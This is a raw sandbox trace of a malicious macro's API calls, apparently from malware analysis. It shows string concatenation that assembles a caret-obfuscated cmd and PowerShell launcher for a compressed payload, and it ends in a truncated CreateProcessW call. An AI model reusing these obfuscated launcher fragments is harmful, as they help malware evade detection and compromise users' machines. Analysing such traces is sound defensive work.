3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^", bstrRight="RE^a^m] ^[C^O", pbstrResult=0x27dec0 | out: pbstrResult=0x27dec0) returned 0x0 [0081.639] VarBstrCat (in: bstrLeft=" (^sEt 3^M^K^1=obj^ECt{nE^w^-o^bj^e), )& (se^T g^BQ=s^i)& (^seT ^ ^aMG=^u)& ( , ,, (^sE^T ^ ^aw^yI=^l) , )&( , (Se^t ^ ^ir^1^V=^h) )& (, , ,(S^Et uU^H=n^ ^ ^^^&^ ^(^ ), )&& ( , (S^Et o^JV=^^^|^ fOR),)&& (^S^e^t v^Z^c=$^p^S)&& (s^et ^ ^g^Vkp=^6)& ( , (SE^T ^CY=^4) , )&& (S^et 9c^u^B=^ )&& (se^t ^ ^Rz=^SS )&& (s^et ^ z^R=^G4G^u^tW)&&( , (se^T ^ gx^b=b^Yp) ,)& ( , (SE^t ^ ^a^g=z^P), )&&(, , , , , (S^eT sZ^G=Nt^Er^ac ^-), )& ( , (^sEt l^V^p=^OmPre^S^s^ ^)^ ) ,)& ( ,(^S^ET x^dNR=bg8^r^j), )&(,(s^E^T ^ l^R=^Ext^.eNcO) ,)&& (se^T ^ c^g=W^e^r^SH^e^ll^ -N^O)&& (^s^ET ^ OE^9^Q=DS^hyxy^yV2Apb^uy)&& ( (sET ^ Sq^5^s=Mo^RY^S^T^RE^a^m] ^[C^O", bstrRight="n^vER), )&& ( , (s^ET x^S=^re^ss^i), )& (S^eT p^v=^) \"\")&& ( , , , , ,(Se^t ^ I^G4^Q=^CT), )&&( , (S^ET ^ B^9s=^exe pR) ,)& (, (sE^T ^s^Hnp=0M^y), , , )&& (, (sE^T ^ ^Je=^m8) , )& (Se^t ^ bv=fa^qfNGZQobl^CJ^p)&&( , (se^T ^ q8=^v^v) , )&& (Se^T ^ ^S^l=Q^VH^cO8", pbstrResult=0x27dec0 | out: pbstrResult=0x27dec0) returned 0x0 [0081.639] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb6143d0 [0081.639] IMalloc:Alloc (This=0x7feffc15380, cb=0x7c0) returned 0xae2b8d0 [0081.639] IMalloc:Realloc (This=0x7feffc15380, pv=0xb6143d0, cb=0x90) returned 0xb6143d0 [0081.639] IMalloc:Free (This=0x7feffc15380, pv=0xb07a890) [0081.639] GetCurrentProcess () returned 0xffffffffffffffff [0081.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.639] GetCurrentProcess () returned 0xffffffffffffffff [0081.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.639] GetCurrentProcess () returned 0xffffffffffffffff [0081.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.639] GetCurrentProcess () returned 0xffffffffffffffff [0081.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.639] GetCurrentProcess () returned 0xffffffffffffffff [0081.639] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.639] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.640] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.640] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.640] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.640] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.640] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.641] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.641] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.641] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.641] GetCurrentProcess () returned 0xffffffffffffffff [0081.641] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.641] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.642] GetCurrentProcess () returned 0xffffffffffffffff [0081.642] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.642] GetCurrentProcess () returned 0xffffffffffffffff [0081.642] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.642] GetCurrentProcess () returned 0xffffffffffffffff [0081.642] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.642] GetCurrentProcess () returned 0xffffffffffffffff [0081.642] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.642] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.642] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.642] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.642] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.642] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.642] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.642] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.642] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.642] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.642] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.642] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.642] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.642] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.642] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.642] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.642] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.642] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.643] IUnknown:AddRef (This=0xb3fb2a8) returned 0x3 [0081.643] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.643] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.643] IUnknown:Release (This=0xb3fb2a8) returned 0x2 [0081.643] GetAsyncKeyState (vKey=27) returned 0 [0081.643] IMalloc:Alloc (This=0x7feffc15380, cb=0x810) returned 0xb614470 [0081.643] IMalloc:Alloc (This=0x7feffc15380, cb=0x7d0) returned 0xb583a00 [0081.643] IMalloc:Realloc (This=0x7feffc15380, pv=0xb614470, cb=0x90) returned 0xb614470 [0081.643] IMalloc:Free (This=0x7feffc15380, pv=0xb07a6b0) [0081.643] GetCurrentProcess () returned 0xffffffffffffffff [0081.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.643] GetCurrentProcess () returned 0xffffffffffffffff [0081.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b59, dwSize=0x8) returned 1 [0081.643] GetCurrentProcess () returned 0xffffffffffffffff [0081.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b58, dwSize=0x8) returned 1 [0081.643] GetCurrentProcess () returned 0xffffffffffffffff [0081.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6b68, dwSize=0x2) returned 1 [0081.643] GetCurrentProcess () returned 0xffffffffffffffff [0081.643] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x75e6bbc, dwSize=0x4d) returned 1 [0081.643] VirtualProtect (in: lpAddress=0x75e6bbc, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244201, dwSize=0x8) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244200, dwSize=0x8) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244210, dwSize=0x2) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244264, dwSize=0x4d) returned 1 [0081.644] VirtualProtect (in: lpAddress=0x7244264, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e9, dwSize=0x8) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442e8, dwSize=0x8) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72442f8, dwSize=0x2) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724434c, dwSize=0x45) returned 1 [0081.644] VirtualProtect (in: lpAddress=0x724434c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244451, dwSize=0x8) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244450, dwSize=0x8) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244460, dwSize=0x2) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x72444b4, dwSize=0x4d) returned 1 [0081.644] VirtualProtect (in: lpAddress=0x72444b4, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.644] GetCurrentProcess () returned 0xffffffffffffffff [0081.644] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244539, dwSize=0x8) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244538, dwSize=0x8) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7244548, dwSize=0x2) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724459c, dwSize=0x4d) returned 1 [0081.645] VirtualProtect (in: lpAddress=0x724459c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245231, dwSize=0x8) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245230, dwSize=0x8) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245240, dwSize=0x2) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245294, dwSize=0x4d) returned 1 [0081.645] VirtualProtect (in: lpAddress=0x7245294, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245319, dwSize=0x8) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245318, dwSize=0x8) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7245328, dwSize=0x2) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x724537c, dwSize=0x45) returned 1 [0081.645] VirtualProtect (in: lpAddress=0x724537c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.645] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242d3c, dwSize=0x45) returned 1 [0081.645] VirtualProtect (in: lpAddress=0x7242d3c, dwSize=0x48, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.645] GetCurrentProcess () returned 0xffffffffffffffff [0081.646] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db9, dwSize=0x8) returned 1 [0081.646] GetCurrentProcess () returned 0xffffffffffffffff [0081.646] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242db8, dwSize=0x8) returned 1 [0081.646] GetCurrentProcess () returned 0xffffffffffffffff [0081.646] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242dc8, dwSize=0x2) returned 1 [0081.646] GetCurrentProcess () returned 0xffffffffffffffff [0081.646] FlushInstructionCache (hProcess=0xffffffffffffffff, lpBaseAddress=0x7242e1c, dwSize=0x4d) returned 1 [0081.646] VirtualProtect (in: lpAddress=0x7242e1c, dwSize=0x50, flNewProtect=0x40, lpflOldProtect=0x27c76c | out: lpflOldProtect=0x27c76c*=0x40) returned 1 [0081.646] IUnknown:AddRef (This=0xb3e3718) returned 0x3 [0081.646] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.646] IUnknown:QueryInterface (in: This=0xb3e3718, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.646] IUnknown:Release (This=0xb3e3718) returned 0x2 [0081.646] IUnknown:AddRef (This=0xb3e3770) returned 0x6 [0081.646] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.646] IUnknown:QueryInterface (in: This=0xb3e3770, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.646] IUnknown:Release (This=0xb3e3770) returned 0x5 [0081.646] IUnknown:AddRef (This=0xb3e3668) returned 0x2 [0081.646] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.646] IUnknown:QueryInterface (in: This=0xb3e3668, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.646] IUnknown:Release (This=0xb3e3668) returned 0x1 [0081.646] IUnknown:AddRef (This=0xb3fb1f8) returned 0x3 [0081.646] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.646] IUnknown:QueryInterface (in: This=0xb3fb1f8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.646] IUnknown:Release (This=0xb3fb1f8) returned 0x2 [0081.646] IUnknown:AddRef (This=0xb3fb2a8) returned 0x3 [0081.646] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e05af8*(Data1=0xcacc1e82, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db28 | out: ppvObject=0x27db28*=0x0) returned 0x80004002 [0081.646] IUnknown:QueryInterface (in: This=0xb3fb2a8, riid=0x7fee5e10b98*(Data1=0xcacc1e83, Data2=0x622b, Data3=0x11d2, Data4=([0]=0xaa, [1]=0x78, [2]=0x0, [3]=0xc0, [4]=0x4f, [5]=0x99, [6]=0x1, [7]=0xd2)), ppvObject=0x27db20 | out: ppvObject=0x27db20*=0x0) returned 0x80004002 [0081.646] IUnknown:Release (This=0xb3fb2a8) returned 0x2 [0081.647] GetAsyncKeyState (vKey=27) returned 0 [0081.647] VarAdd (in: pvarLeft=0xb3de7d8, pvarRight=0xb3de7c0, pvarResult=0xb3de7a8 | out: pvarResult=0xb3de7a8) returned 0x0 [0081.647] VarAdd (in: pvarLeft=0xb3de7a8, pvarRight=0xb3de790, pvarResult=0xb3de778 | out: pvarResult=0xb3de778) returned 0x0 [0081.647] VarAdd (in: pvarLeft=0xb3de778, pvarRight=0xb3de760, pvarResult=0xb3de748 | out: pvarResult=0xb3de748) returned 0x0 [0081.647] VarAdd (in: pvarLeft=0xb3de748, pvarRight=0xb3de730, pvarResult=0xb3de718 | out: pvarResult=0xb3de718) returned 0x0 [0081.647] VarAdd (in: pvarLeft=0xb3de718, pvarRight=0xb3de808, pvarResult=0xb3de700 | out: pvarResult=0xb3de700) returned 0x0 [0081.647] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="cmd /c C%PrOGRaMFIlES:~ -7,1%D, , /V:On ,,/%aPPdAta:~-7,1% \" , (Se^T j1=^Ew-obje^ct I^o.c^OMp)& (^sET ^ 